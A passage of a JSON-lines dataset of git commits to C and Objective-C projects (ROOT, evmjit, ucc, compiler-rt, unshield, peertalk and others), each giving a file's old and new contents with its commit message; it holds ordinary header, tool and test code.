\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\n#ifndef ROOT_Rtypes\n#include \"Rtypes.h\"\n#endif\n\ntypedef double         Axis_t;      \/\/Axis values type (double)\ntypedef double         Stat_t;      \/\/Statistics type (double)\n\n#endif\n\n","subject":"Add more comments describing Stat_t and Axis_t","message":"Add more comments describing Stat_t and Axis_t\n\n\ngit-svn-id: acec3fd5b7ea1eb9e79d6329d318e8118ee2e14f@3097 27541ba8-7e3a-0410-8455-c3a389f83636\n","lang":"C","license":"lgpl-2.1","repos":"nilqed\/root,davidlt\/root,omazapa\/root-old,krafczyk\/root,sbinet\/cxx-root,zzxuanyuan\/root-compressor-dummy,esakellari\/root,sirinath\/root,zzxuanyuan\/root,esakellari\/my_root_for_test,pspe\/root,karies\/root,buuck\/root,sbinet\/cxx-root,mhuwiler\/rootauto,sirinath\/root,arch1tect0r\/root,perovic\/root,veprbl\/root,mhuwiler\/rootauto,omazapa\/root,CristinaCristescu\/root,root-mirror\/root,abhinavmoudgil95\/root,cxx-hep\/root-cern,veprbl\/root,mattkretz\/root,zzxuanyuan\/root,satyarth934\/root,bbockelm\/root,mhuwiler\/rootauto,arch1tect0r\/root,mhuwiler\/rootauto,sawenzel\/root,mhuwiler\/rootauto,pspe\/root,mkret2\/root,CristinaCristescu\/root,0x0all\/ROOT,evgeny-boger\/root,bbockelm\/root,pspe\/root,nilqed\/root,sirinath\/root,arch1tect0r\/root,perovic\/root,sawenzel\/root,vukasinmilosevic\/root,simonpf\/root,nilqed\/root,zzxuanyuan\/root-compressor-dummy,olifre\/root,buuck\/root,esakellari\/root,sirinath\/root,omazapa\/root-old,smarinac\/root,krafczyk\/root,buuck\/root,nilqed\/root,nilqed\/root,pspe\/root,omazapa\/root-old,bbockelm\/root,perovic\/root,karies\/root,0x0all\/ROOT,esakellari\/root,Duraznos\/root,pspe\/root,esakellari\/root,thomaskeck\/root,BerserkerTroll\/root,Duraznos\/root,krafczyk\/root,vukasinmilosevic\/root,agarciamontoro\/root,ffurano\/root5,zzxuanyuan\/root-compressor-dummy,Duraznos\/root,omazapa\/root-old,zzxuanyuan\/root-compressor-dummy,nilqed\/root,nilqed\/root,root-mirror\/root,perovic\/root,buuck\/root,dfunke\/root,abhinavmoudgil95\/root,pspe\/root,dfunke\/root,omazapa\/root,gbitzes\/root,BerserkerTroll\/root,perovic\/root,evgeny-boger\/root,tc3t\/qoot,gganis\/root,arch1tect0r\/root,omazapa\/root,arch1tect0r\/root,mkret2\/root,georgtroska\/root,gbitzes\/root,ffurano\/root5,dfunke\/root,beniz\/root,vukasinmilosevic\/root,CristinaCristescu\/root,Duraznos\/root,root-mirror\/root,perovic\/root,BerserkerTroll\/root,gbitzes\/root,alexschlueter\/cern-root,tc3t\/qoot,sawenzel\/root,root-mirror\/root,esakellari\/root,davidlt\/root,gbitzes\/root,satyarth934\/root,karies\/root,olifre\/root,mkret2\/root,Dr15Jones\/root,cxx-hep\/root-cern,evgeny-boger\/root,sawenzel\/root,jrtomps\/root,ffurano\/root5,ffurano\/root5,bbockelm\/root,thomaskeck\/root,sbinet\/cxx-root,evgeny-boger\/root,Y--\/root,satyarth934\/root,vukasinmilosevic\/root,smarinac\/root,bbockelm\/root,pspe\/root,omazapa\/root-old,evgeny-boger\/root,strykejern\/TTreeReader,sawenzel\/root,gbitzes\/root,beniz\/root,davidlt\/root,agarciamontoro\/root,beniz\/root,olifre\/root,vukasinmilosevic\/root,Dr15Jones\/root,mkret2\/root,perovic\/root,dfunke\/root,mhuwiler\/rootauto,omazapa\/root-old,tc3t\/qoot,veprbl\/root,smarinac\/root,simonpf\/root,zzxuanyuan\/root-compressor-dummy,tc3t\/qoot,zzxuanyuan\/root-compressor-dummy,tc3t\/qoot,vukasinmilosevic\/root,omazapa\/root-old,Y--\/root,dfunke\/root,krafczyk\/root,0x0all\/ROOT,mkret2\/root,alexschlueter\/cern-root,BerserkerTroll\/root,veprbl\/root,perovic\/root,simonpf\/root,vukasinmilosevic\/root,root-mirror\/root,gganis\/root,mkret2\/root,satyarth934\/root,mhuwiler\/rootauto,krafczyk\/root,root-mirror\/root,agarciamontoro\/root,zzxuanyuan\/root,davidlt\/root,Dr15Jones\/root,nilqed\/root,olifre\/root,simonpf\/root,lgiommi\/root,CristinaCristescu\/root,thomaskeck\/root,simonpf\/root,CristinaCristescu\/root,mkret2\/root,agarciamontoro\/root,agarciamontoro\/root,gbitzes\/root,karies\/root,abhinavmoudgil95\/root,jrtomps\/root,evgeny-boger\/root,veprbl\/root,sirinath\/root,strykejern\/TTreeReader,georgtroska\/root,zzxuanyuan\/root,agarciamontoro\/root,gganis\/root,esakellari\/my_root_for_test,mkret2\/root,zzxuanyuan\/root,mkret2\/root,mattkretz\/root,abhinavmoudgil95\/root,lgiommi\/root,zzxuanyuan\/root-compressor-dummy,kirbyherm\/root-r-tools,arch1tect0r\/root,perovic\/root,tc3t\/qoot,simonpf\/root,agarciamontoro\/root,abhinavmoudgil95\/root,0x0all\/ROOT,perovic\/root,karies\/root,georgtroska\/root,sawenzel\/root,tc3t\/qoot,BerserkerTroll\/root,BerserkerTroll\/root,gbitzes\/root,nilqed\/root,zzxuanyuan\/root,zzxuanyuan\/root-compressor-dummy,CristinaCristescu\/root,thomaskeck\/root,cxx-hep\/root-cern,alexschlueter\/cern-root,omazapa\/root-old,BerserkerTroll\/root,davidlt\/root,esakellari\/my_root_for_test,alexschlueter\/cern-root,arch1tect0r\/root,mattkretz\/root,gganis\/root,abhinavmoudgil95\/root,georgtroska\/root,BerserkerTroll\/root,sawenzel\/root,jrtomps\/root,sbinet\/cxx-root,mattkretz\/root,evgeny-boger\/root,veprbl\/root,Dr15Jones\/root,jrtomps\/root,sbinet\/cxx-root,omazapa\/root-old,esakellari\/my_root_for_test,strykejern\/TTreeReader,cxx-hep\/root-cern,strykejern\/TTreeReader,abhinavmoudgil95\/root,omazapa\/root,root-mirror\/root,kirbyherm\/root-r-tools,sawenzel\/root,krafczyk\/root,lgiommi\/root,0x0all\/ROOT,ffurano\/root5,buuck\/root,buuck\/root,gbitzes\/root,zzxuanyuan\/root,esakellari\/my_root_for_test,bbockelm\/root,esakellari\/root,pspe\/root,sirinath\/root,root-mirror\/root,jrtomps\/root,mhuwiler\/rootauto,gbitzes\/root,simonpf\/root,bbockelm\/root,sirinath\/root,mattkretz\/root,root-mirror\/root,veprbl\/root,esakellari\/root,davidlt\/root,smarinac\/root,0x0all\/ROOT,bbockelm\/root,ffurano\/root5,karies\/root,thomaskeck\/root,georgtroska\/root,thomaskeck\/root,omazapa\/root,beniz\/root,agarciamontoro\/root,vukasinmilosevic\/root,evgeny-boger\/root,strykejern\/TTreeReader,jrtomps\/root,arch1tect0r\/root,davidlt\/root,buuck\/root,smarinac\/root,beniz\/root,thomaskeck\/root,davidlt\/root,omazapa\/root-old,zzxuanyuan\/root,smarinac\/root,Y--\/root,cxx-hep\/root-cern,lgiommi\/root,smarinac\/root,root-mirror\/root,thomaskeck\/root,krafczyk\/root,davidlt\/root,kirbyherm\/root-r-tools,satyarth934\/root,lgiommi\/root,Duraznos\/root,Duraznos\/root,cxx-hep\/root-cern,esakellari\/my_root_for_test,vukasinmilosevic\/root,pspe\/root,buuck\/root,jrtomps\/root,Y--\/root,satyarth934\/root,agarciamontoro\/root,vukasinmilosevic\/root,satyarth934\/root,tc3t\/qoot,omazapa\/root,evgeny-boger\/root,gganis\/root,zzxuanyuan\/root-compressor-dummy,Y--\/root,veprbl\/root,Duraznos\/root,CristinaCristescu\/root,gganis\/root,mattkretz\/root,gganis\/root,davidlt\/root,mhuwiler\/rootauto,gganis\/root,esakellari\/root,zzxuanyuan\/root-compressor-dummy,beniz\/root,satyarth934\/root,omazapa\/root,gganis\/root,pspe\/root,jrtomps\/root,gganis\/root,omazapa\/root,georgtroska\/root,gbitzes\/root,smarinac\/root,abhinavmoudgil95\/root,perovic\/root,zzxuanyuan\/root,satyarth934\/root,esakellari\/my_root_for_test,CristinaCristescu\/root,abhinavmoudgil95\/root,thomaskeck\/root,buuck\/root,agarciamontoro\/root,beniz\/root,bbockelm\/root,Dr15Jones\/root,mattkretz\/root,sirinath\/root,jrtomps\/root,karies\/root,sbinet\/cxx-root,sirinath\/root,olifre\/root,Duraznos\/root,olifre\/root,lgiommi\/root,sbinet\/cxx-root,sawenzel\/root,kirbyherm\/root-r-tools,olifre\/root,BerserkerTroll\/root,alexschlueter\/cern-root,BerserkerTroll\/root,arch1tect0r\/root,Y--\/root,buuck\/root,olifre\/root,lgiommi\/root,sawenzel\/root,georgtroska\/root,sbinet\/cxx-root,beniz\/root,zzxuanyuan\/root,mattkretz\/root,bbockelm\/root,thomaskeck\/root,lgiommi\/root,dfunke\/root,kirbyherm\/root-r-tools,esakellari\/root,satyarth934\/root,jrtomps\/root,simonpf\/root,strykejern\/TTreeReader,evgeny-boger\/root,Dr15Jones\/root,mhuwiler\/rootauto,mattkretz\/root,0x0all\/ROOT,dfunke\/root,olifre\/root,davidlt\/root,cxx-hep\/root-cern,krafczyk\/root,simonpf\/root,nilqed\/root,Duraznos\/root,sbinet\/cxx-root,krafczyk\/root,olifre\/root,zzxuanyuan\/root-compressor-dummy,smarinac\/root,karies\/root,buuck\/root,beniz\/root,zzxuanyuan\/root,dfunke\/root,Y--\/root,CristinaCristescu\/root,dfunke\/root,krafczyk\/root,Duraznos\/root,zzxuanyuan\/root,omazapa\/root-old,alexschlueter\/cern-root,satyarth934\/root,mattkretz\/root,abhinavmoudgil95\/root,vukasinmilosevic\/root,ffurano\/root5,esakellari\/my_root_for_test,veprbl\/root,omazapa\/root,georgtroska\/root,Y--\/root,mkret2\/root,Y--\/root,Y--\/root,sbinet\/cxx-root,sawenzel\/root,lgiommi\/root,omazapa\/root,tc3t\/qoot,georgtroska\/root,Dr15Jones\/root,simonpf\/root,omazapa\/root,esakellari\/my_root_for_test,CristinaCristescu\/root,veprbl\/root,jrtomps\/root,root-mirror\/root,mattkretz\/root,CristinaCristescu\/root,evgeny-boger\/root,beniz\/root,krafczyk\/root,karies\/root,georgtroska\/root,smarinac\/root,0x0all\/ROOT,Y--\/root,nilqed\/root,dfunke\/root,arch1tect0r\/root,bbockelm\/root,pspe\/root,tc3t\/qoot,dfunke\/root,lgiommi\/root,0x0all\/ROOT,gbitzes\/root,abhinavmoudgil95\/root,gganis\/root,esakellari\/root,strykejern\/TTreeReader,BerserkerTroll\/root,sbinet\/cxx-root,veprbl\/root,alexschlueter\/cern-root,cxx-hep\/root-cern,mhuwiler\/rootauto,kirbyherm\/root-r-tools,esakellari\/root,karies\/root,arch1tect0r\/root,kirbyherm\/root-r-tools,sirinath\/root,lgiommi\/root,esakellari\/my_root_for_test,agarciamontoro\/root,Duraznos\/root,karies\/root,beniz\/root,georgtroska\/root,simonpf\/root,sirinath\/root,olifre\/root,mkret2\/root"}
{"commit":"8c5a18cd999cfd0edc1871e5cf797ff5e04ea20e","old_file":"libevmjit\/Common.h","new_file":"libevmjit\/Common.h","old_contents":"#pragma once\n\n#include <vector>\n#include <boost\/multiprecision\/cpp_int.hpp>\n\nnamespace dev\n{\nnamespace eth\n{\nnamespace jit\n{\n\nusing byte = uint8_t;\nusing bytes = std::vector<byte>;\nusing u256 = boost::multiprecision::uint256_t;\nusing bigint = boost::multiprecision::cpp_int;\n\nstruct NoteChannel {};\t\/\/ FIXME: Use some log library?\n\nenum class ReturnCode\n{\n\tStop = 0,\n\tReturn = 1,\n\tSuicide = 2,\n\n\tBadJumpDestination = 101,\n\tOutOfGas = 102,\n\tStackTooSmall = 103,\n\tBadInstruction = 104,\n\n\tLLVMConfigError = 201,\n\tLLVMCompileError = 202,\n\tLLVMLinkError = 203,\n};\n\n\/\/\/ Representation of 256-bit value binary compatible with LLVM i256\n\/\/ TODO: Replace with h256\nstruct i256\n{\n\tuint64_t a;\n\tuint64_t b;\n\tuint64_t c;\n\tuint64_t d;\n};\nstatic_assert(sizeof(i256) == 32, \"Wrong i265 size\");\n\n#define UNTESTED assert(false)\n\n}\n}\n}\n","new_contents":"#pragma once\n\n#include <vector>\n#include <boost\/multiprecision\/cpp_int.hpp>\n\nnamespace dev\n{\nnamespace eth\n{\nnamespace jit\n{\n\nusing byte = uint8_t;\nusing bytes = std::vector<byte>;\nusing u256 = boost::multiprecision::uint256_t;\nusing bigint = boost::multiprecision::cpp_int;\n\nstruct NoteChannel {};\t\/\/ FIXME: Use some log library?\n\nenum class ReturnCode\n{\n\tStop = 0,\n\tReturn = 1,\n\tSuicide = 2,\n\n\tBadJumpDestination = 101,\n\tOutOfGas = 102,\n\tStackTooSmall = 103,\n\tBadInstruction = 104,\n\n\tLLVMConfigError = 201,\n\tLLVMCompileError = 202,\n\tLLVMLinkError = 203,\n};\n\n\/\/\/ Representation of 256-bit value binary compatible with LLVM i256\n\/\/ TODO: Replace with h256\nstruct i256\n{\n\tuint64_t a = 0;\n\tuint64_t b = 0;\n\tuint64_t c = 0;\n\tuint64_t d = 0;\n};\nstatic_assert(sizeof(i256) == 32, \"Wrong i265 size\");\n\n#define UNTESTED assert(false)\n\n}\n}\n}\n","subject":"Fix some GCC initialization warnings","message":"Fix some GCC initialization warnings\n","lang":"C","license":"mit","repos":"debris\/evmjit,debris\/evmjit,ethcore\/evmjit,ethcore\/evmjit"}
{"commit":"787355ea64fb4a8967718cb1331b7cd1fa0d02e4","old_file":"test\/cases\/vla\/argument_eval.c","new_file":"test\/cases\/vla\/argument_eval.c","old_contents":"\/\/ RUN: %ocheck 0 %s\n\/\/ RUN: %ocheck 0 %s -fstack-protector-all\n\nextern void abort(void);\n\nas, bs, fs;\n\nstatic int a(){ as++; return 2; }\nstatic int b(){ bs++; return 2; }\n\nstatic int f(int p[a()][b()])\n{\n\tfs++;\n\treturn p[0][0] + p[0][1] + p[1][0] + p[1][1];\n}\n\nstatic void assert(_Bool b)\n{\n\tif(!b)\n\t\tabort();\n}\n\nint main()\n{\n\tint ar[a()][b()];\n\n\tassert(as == 1);\n\tassert(bs == 1);\n\tassert(fs == 0);\n\n\tar[0][0] = 5;\n\tar[0][1] = 4;\n\tar[1][0] = 3;\n\tar[1][1] = 2;\n\n\tassert(as == 1);\n\tassert(bs == 1);\n\tassert(fs == 0);\n\n\tassert(f(ar) == 14);\n\n\tassert(as == 2);\n\tassert(bs == 2);\n\tassert(fs == 1);\n\n\treturn 0;\n}\n","new_contents":"\/\/ RUN: %ocheck 0 %s\n\/\/ RUN: %ocheck 0 %s -fstack-protector-all\n\nextern void abort(void);\n\nas, bs, fs;\n\nstatic int a(){ as++; return 2; }\nstatic int b(){ bs++; return 2; }\n\nstatic int f(int p[a()][b()])\n{\n\tfs++;\n\treturn p[0][0] \/\/ 5\n\t\t+ p[0][1] \/\/ 4\n\t\t+ p[1][0] \/\/ 3\n\t\t+ p[1][1] \/\/ 2\n\t\t+ sizeof(p) \/\/ sizeof(T (*)[...]) = 8\n\t\t+ sizeof(p[0]) \/\/ 2 * sizeof(int) = 8\n\t\t+ sizeof(p[1][2]); \/\/ sizeof(int) = 4\n}\n\nstatic void assert(_Bool b)\n{\n\tif(!b)\n\t\tabort();\n}\n\nint main()\n{\n\tint ar[a()][b()];\n\n\tassert(as == 1);\n\tassert(bs == 1);\n\tassert(fs == 0);\n\n\tar[0][0] = 5;\n\tar[0][1] = 4;\n\tar[1][0] = 3;\n\tar[1][1] = 2;\n\n\tassert(as == 1);\n\tassert(bs == 1);\n\tassert(fs == 0);\n\n\tassert(f(ar) == 34);\n\n\tassert(as == 2);\n\tassert(bs == 2);\n\tassert(fs == 1);\n\n\treturn 0;\n}\n","subject":"Improve checks for vla-argument test","message":"Improve checks for vla-argument test\n","lang":"C","license":"mit","repos":"bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler"}
{"commit":"1f4f7b5c2796c5e950457563e6221351791958e6","old_file":"lib\/int_util.h","new_file":"lib\/int_util.h","old_contents":"\/* ===-- int_util.h - internal utility functions ----------------------------===\n *\n *                     The LLVM Compiler Infrastructure\n *\n * This file is dual licensed under the MIT and the University of Illinois Open\n * Source Licenses. See LICENSE.TXT for details.\n *\n * ===-----------------------------------------------------------------------===\n *\n * This file is not part of the interface of this library.\n *\n * This file defines non-inline utilities which are available for use in the\n * library. The function definitions themselves are all contained in int_util.c\n * which will always be compiled into any compiler-rt library.\n *\n * ===-----------------------------------------------------------------------===\n *\/\n\n#ifndef INT_UTIL_H\n#define INT_UTIL_H\n\n\/** \\brief Trigger a program abort (or panic for kernel code). *\/\n#define compilerrt_abort() compilerrt_abort_impl(__FILE__, __LINE__, \\\n                                                 __FUNCTION__)\nvoid compilerrt_abort_impl(const char *file, int line,\n                           const char *function)\n#ifndef KERNEL_USE\n  __attribute__((weak))\n#endif\n  __attribute__((noreturn)) __attribute__((visibility(\"hidden\")));\n\n#endif \/* INT_UTIL_H *\/\n","new_contents":"\/* ===-- int_util.h - internal utility functions ----------------------------===\n *\n *                     The LLVM Compiler Infrastructure\n *\n * This file is dual licensed under the MIT and the University of Illinois Open\n * Source Licenses. See LICENSE.TXT for details.\n *\n * ===-----------------------------------------------------------------------===\n *\n * This file is not part of the interface of this library.\n *\n * This file defines non-inline utilities which are available for use in the\n * library. The function definitions themselves are all contained in int_util.c\n * which will always be compiled into any compiler-rt library.\n *\n * ===-----------------------------------------------------------------------===\n *\/\n\n#ifndef INT_UTIL_H\n#define INT_UTIL_H\n\n\/** \\brief Trigger a program abort (or panic for kernel code). *\/\n#define compilerrt_abort() compilerrt_abort_impl(__FILE__, __LINE__, \\\n                                                 __FUNCTION__)\n\nvoid compilerrt_abort_impl(const char *file, int line,\n                           const char *function) __attribute__((noreturn));\n\n#endif \/* INT_UTIL_H *\/\n","subject":"Remove __attribute__((weak)) on function prototype. It has a different meaning on prototypes then it does on definitions. It is not needed on the prototype and causes build failures for static codegen","message":"Remove __attribute__((weak)) on function prototype.  It has a different meaning on prototypes then it does on definitions.  It is not needed on the prototype and causes build failures for static codegen\n\ngit-svn-id: c199f293c43da69278bea8e88f92242bf3aa95f7@149720 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt"}
{"commit":"01cfab200399196583a306ad90e56349caf1925d","old_file":"src\/unshield-deobfuscate.c","new_file":"src\/unshield-deobfuscate.c","old_contents":"#include <stdio.h>\n#include <stdlib.h>\n\n#include \"..\/lib\/libunshield.h\"\n\nint main(int argc, char** argv)\n{\n  unsigned seed = 0;\n  FILE* input = NULL;\n  FILE* output = NULL;\n  size_t size;\n  unsigned char buffer[16384];\n\n  if (argc != 3)\n  {\n    fprintf(stderr, \n        \"Syntax:\\n\"\n        \"  %s INPUT-FILE OUTPUT-FILE\\n\",\n        argv[0]);\n    exit(1);\n  }\n\n  input = fopen(argv[1], \"r\");\n  if (!input)\n  {\n    fprintf(stderr, \n        \"Failed to open %s for reading\\n\",\n        argv[1]);\n    exit(2);\n  }\n\n  output = fopen(argv[2], \"w\");\n  if (!output)\n  {\n    fprintf(stderr, \n        \"Failed to open %s for writing\\n\",\n        argv[2]);\n    exit(3);\n  }\n\n\n  while ((size = fread(buffer, 1, sizeof(buffer), input)) != 0)\n  {\n    unshield_deobfuscate(buffer, size, &seed);\n    if (fwrite(buffer, 1, size, output) != size)\n    {\n      fprintf(stderr, \n          \"Failed to write %lu bytes to %s\\n\",\n          (unsigned long)size, argv[2]);\n      exit(4);\n    }\n  }\n\n  fclose(input);\n  fclose(output);\n  return 0;\n}\n","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n\n#include \"..\/lib\/libunshield.h\"\n\nint main(int argc, char** argv)\n{\n  unsigned seed = 0;\n  FILE* input = NULL;\n  FILE* output = NULL;\n  size_t size;\n  unsigned char buffer[16384];\n\n  if (argc != 3)\n  {\n    fprintf(stderr, \n        \"Syntax:\\n\"\n        \"  %s INPUT-FILE OUTPUT-FILE\\n\",\n        argv[0]);\n    exit(1);\n  }\n\n  input = fopen(argv[1], \"rb\");\n  if (!input)\n  {\n    fprintf(stderr, \n        \"Failed to open %s for reading\\n\",\n        argv[1]);\n    exit(2);\n  }\n\n  output = fopen(argv[2], \"wb\");\n  if (!output)\n  {\n    fprintf(stderr, \n        \"Failed to open %s for writing\\n\",\n        argv[2]);\n    exit(3);\n  }\n\n\n  while ((size = fread(buffer, 1, sizeof(buffer), input)) != 0)\n  {\n    unshield_deobfuscate(buffer, size, &seed);\n    if (fwrite(buffer, 1, size, output) != size)\n    {\n      fprintf(stderr, \n          \"Failed to write %lu bytes to %s\\n\",\n          (unsigned long)size, argv[2]);\n      exit(4);\n    }\n  }\n\n  fclose(input);\n  fclose(output);\n  return 0;\n}\n","subject":"Fix for binary files on Windows","message":"Fix for binary files on Windows\n\nThanks @Djamana\n\nCloses #46\n","lang":"C","license":"mit","repos":"twogood\/unshield,twogood\/unshield"}
{"commit":"1bd3ca1cda84cf6eb32c99d83961904fe0bbc4b2","old_file":"lispy.h","new_file":"lispy.h","old_contents":"","new_contents":"#ifndef _LISPY_H\n#define _LISPY_H\n\n#include \"lib\/mpc.h\"\n\n\/* Compile these functions if we're on Windows *\/\n#ifdef _WIN32\n\nstatic char buffer[2048];\n\nchar* readline(char* prompt) {\n\tfputs(prompt, stdout);\n\tfgets(buffer, 2048, stdin);\n\tchar* cpy = malloc(strlen(buffer) + 1);\n\tstrcpy(cpy, buffer);\n\tcpy[strlen(cpy) - 1] = \"\\0\";\n\treturn cpy;\n}\n\nvoid add_history(char* unused) {}\n\n#elif __APPLE__\n\n#include <editline\/readline.h>\n\n#else\n\n#include <editline\/readline.h>\n#include <editline\/history.h>\n\n#endif\n\n\/***************************\n* Macros, Enums, and Structs\n***************************\/\n#define LASSERT(args, cond, err) if (!(cond)) { lval_del(args); return lval_err(err); }\n\n\/* lval possible types *\/\nenum { LVAL_NUM, LVAL_ERR, LVAL_SYM, LVAL_SEXPR, LVAL_QEXPR };\n\n\/* Lisp Value struct *\/\ntypedef struct lval {\n    int type;\n    long num;\n    \/* String data for err and sym types *\/\n    char* err;\n    char* sym;\n    \/* Count and pointer to a list of lvals *\/\n    int count;\n    struct lval** cell;\n} lval;\n\n\/**********************\n* Function declarations\n**********************\/\n\nlval* lval_num(long);\nlval* lval_err(char*);\nlval* lval_sym(char*);\nlval* lval_sexpr(void);\nlval* lval_qepxr(void);\n\nvoid  lval_del(lval*);\nlval* lval_add(lval*, lval*);\n\nvoid lval_expr_print(lval*, char, char);\nvoid lval_print(lval*);\nvoid lval_println(lval*);\n\nlval* lval_read_num(mpc_ast_t*);\nlval* lval_read(mpc_ast_t*);\n\nlval* lval_pop(lval*, int);\nlval* lval_take(lval*, int);\nlval* lval_eval(lval*);\nlval* lval_eval_sexpr(lval*);\n\nlval* builtin(lval*, char*);\nlval* builtin_op(lval*, char*);\nlval* builtin_head(lval*);\nlval* builtin_tail(lval*);\nlval* builtin_list(lval*);\nlval* builtin_eval(lval*);\nlval* builtin_join(lval*);\nlval* lval_join(lval*, lval*);\n\n#endif","subject":"Add header file to git","message":"Add header file to git\n","lang":"C","license":"mit","repos":"mahimahi42\/lispy"}
{"commit":"c0d5a95745e15c8f215a66445cca5e05e46e0c10","old_file":"arc\/arc\/Controllers\/Protocols\/FolderViewControllerDelegate.h","new_file":"arc\/arc\/Controllers\/Protocols\/FolderViewControllerDelegate.h","old_contents":"\/\/\n\/\/  FolderViewControllerDelegate.h\n\/\/  arc\n\/\/\n\/\/  Created by Jerome Cheng on 17\/4\/13.\n\/\/  Copyright (c) 2013 nus.cs3217. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import \"File.h\"\n#import \"Folder.h\"\n\n@class FolderViewController;\n\n@protocol FolderViewControllerDelegate <NSObject>\n\n- (void)folderViewController:(FolderViewController *)sender selectedFile:(id<File>)file;\n\n- (void)folderViewController:(FolderViewController *)sender selectedFolder:(id<Folder>)folder;\n\n@end\n","new_contents":"\/\/\n\/\/  FolderViewControllerDelegate.h\n\/\/  arc\n\/\/\n\/\/  Created by Jerome Cheng on 17\/4\/13.\n\/\/  Copyright (c) 2013 nus.cs3217. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import \"File.h\"\n#import \"Folder.h\"\n\n@class FolderViewController;\n\n@protocol FolderViewControllerDelegate <NSObject>\n\n\/\/ Allows delegate to know which file or folder was selected in navigation mode.\n- (void)folderViewController:(FolderViewController *)sender selectedFile:(id<File>)file;\n- (void)folderViewController:(FolderViewController *)sender selectedFolder:(id<Folder>)folder;\n\n\/\/ Allows the delegate to know if the controller has entered or left editing mode.\n- (void)folderViewController:(FolderViewController *)folderviewController\n     DidEnterEditModeAnimate:(BOOL)animate;\n- (void)folderViewController:(FolderViewController *)folderviewController DidExitEditModeAnimate:(BOOL)animate;\n\n@end\n","subject":"Add methods to notify FolderView delegate when edit mode is toggled.","message":"Add methods to notify FolderView delegate when edit mode is toggled.\n","lang":"C","license":"mit","repos":"BenTobias\/arc,BenTobias\/arc,BenTobias\/arc,BenTobias\/arc,BenTobias\/arc,BenTobias\/arc"}
{"commit":"7f736d700feb00e8a5d39c687f1f118f067429d6","old_file":"projects\/com.oracle.truffle.llvm.test\/tests\/c\/long-to-function-ptr-call.c","new_file":"projects\/com.oracle.truffle.llvm.test\/tests\/c\/long-to-function-ptr-call.c","old_contents":"","new_contents":"void abort();\n\nint add(int a, int b) { return a + b; }\nint sub(int a, int b) { return a - b; }\nint mul(int a, int b) { return a * b; }\nint div(int a, int b) { return a \/ b; }\n\nint rem(int a, int b) { return a % b; }\n\nlong arr[5] = {(long)&add, (long)&sub, (long)&mul, (long)&div, (long)&rem };\n\nint main() {\n  int i;\n  int sum = 0;\n  for (i = 0; i < 10000; i++) {\n    int (*p)(int x, int y) = (int (*)(int x, int y))arr[i % 5];\n    sum += p(i, 2);\n  }\n  if (sum != 44991000) {\n    abort();\n  }\n}\n","subject":"Add test case for casting longs to function pointers","message":"Add test case for casting longs to function pointers\n","lang":"C","license":"bsd-3-clause","repos":"lxp\/sulong,crbb\/sulong,lxp\/sulong,PrinzKatharina\/sulong,lxp\/sulong,crbb\/sulong,lxp\/sulong,PrinzKatharina\/sulong,crbb\/sulong,crbb\/sulong,PrinzKatharina\/sulong,PrinzKatharina\/sulong"}
{"commit":"56a77a274be12217e07ca8c4b5e2dabdac3c0c2b","old_file":"peertalk\/PTPrivate.h","new_file":"peertalk\/PTPrivate.h","old_contents":"#if (defined(__IPHONE_OS_VERSION_MIN_REQUIRED) && (!defined(__IPHONE_6_0) || __IPHONE_OS_VERSION_MIN_REQUIRED < __IPHONE_6_0)) || \\\n    (defined(__MAC_OS_X_VERSION_MIN_REQUIRED) && (!defined(__MAC_10_8) || __MAC_OS_X_VERSION_MIN_REQUIRED < __MAC_10_8))\n#define PT_DISPATCH_RETAIN_RELEASE 1\n#endif\n\n#if (!defined(PT_DISPATCH_RETAIN_RELEASE))\n#define PT_PRECISE_LIFETIME __attribute__((objc_precise_lifetime))\n#define PT_PRECISE_LIFETIME_UNUSED __attribute__((objc_precise_lifetime, unused))\n#else\n#define PT_PRECISE_LIFETIME\n#define PT_PRECISE_LIFETIME_UNUSED\n#endif\n","new_contents":"#if (defined(__IPHONE_OS_VERSION_MIN_REQUIRED) && (!defined(__IPHONE_6_0) || __IPHONE_OS_VERSION_MIN_REQUIRED < __IPHONE_6_0)) || \\\n    (defined(__MAC_OS_X_VERSION_MIN_REQUIRED) && (!defined(__MAC_10_8) || __MAC_OS_X_VERSION_MIN_REQUIRED < __MAC_10_8))\n#define PT_DISPATCH_RETAIN_RELEASE 1\n#else\n#define PT_DISPATCH_RETAIN_RELEASE 0\n#endif\n\n#if PT_DISPATCH_RETAIN_RELEASE\n#define PT_PRECISE_LIFETIME\n#define PT_PRECISE_LIFETIME_UNUSED\n#else\n#define PT_PRECISE_LIFETIME __attribute__((objc_precise_lifetime))\n#define PT_PRECISE_LIFETIME_UNUSED __attribute__((objc_precise_lifetime, unused))\n#endif\n","subject":"Synchronize logical grouping of defines","message":"Synchronize logical grouping of defines\n","lang":"C","license":"mit","repos":"rsms\/peertalk,rsms\/peertalk,rsms\/peertalk"}
{"commit":"ae3b44ac78004f3e03173b13a0d1cc456677370a","old_file":"objc\/message.h","new_file":"objc\/message.h","old_contents":"","new_contents":"#ifndef _OBJC_MESSAGE_H_\n#define _OBJC_MESSAGE_H_\n\n#if defined(__x86_64) || defined(__i386) || defined(__arm__) || \\\n\tdefined(__mips_n64) || defined(__mips_n32)\n\/**\n * Standard message sending function.  This function must be cast to the\n * correct types for the function before use.  The first argument is the\n * receiver and the second the selector.\n *\n * Note that this function is not available on all architectures.  For a more\n * portable solution to sending arbitrary messages, consider using\n * objc_msg_lookup_sender() and then calling the returned IMP directly.\n *\n * This version of the function is used for all messages that return either an\n * integer, a pointer, or a small structure value that is returned in\n * registers.  Be aware that calling conventions differ between operating\n * systems even within the same architecture, so take great care if using this\n * function for small (two integer) structures.\n *\/\nid objc_msgSend(id self, SEL _cmd, ...);\n\/**\n * Standard message sending function.  This function must be cast to the\n * correct types for the function before use.  The first argument is the\n * receiver and the second the selector.\n *\n * Note that this function is not available on all architectures.  For a more\n * portable solution to sending arbitrary messages, consider using\n * objc_msg_lookup_sender() and then calling the returned IMP directly.\n *\n * This version of 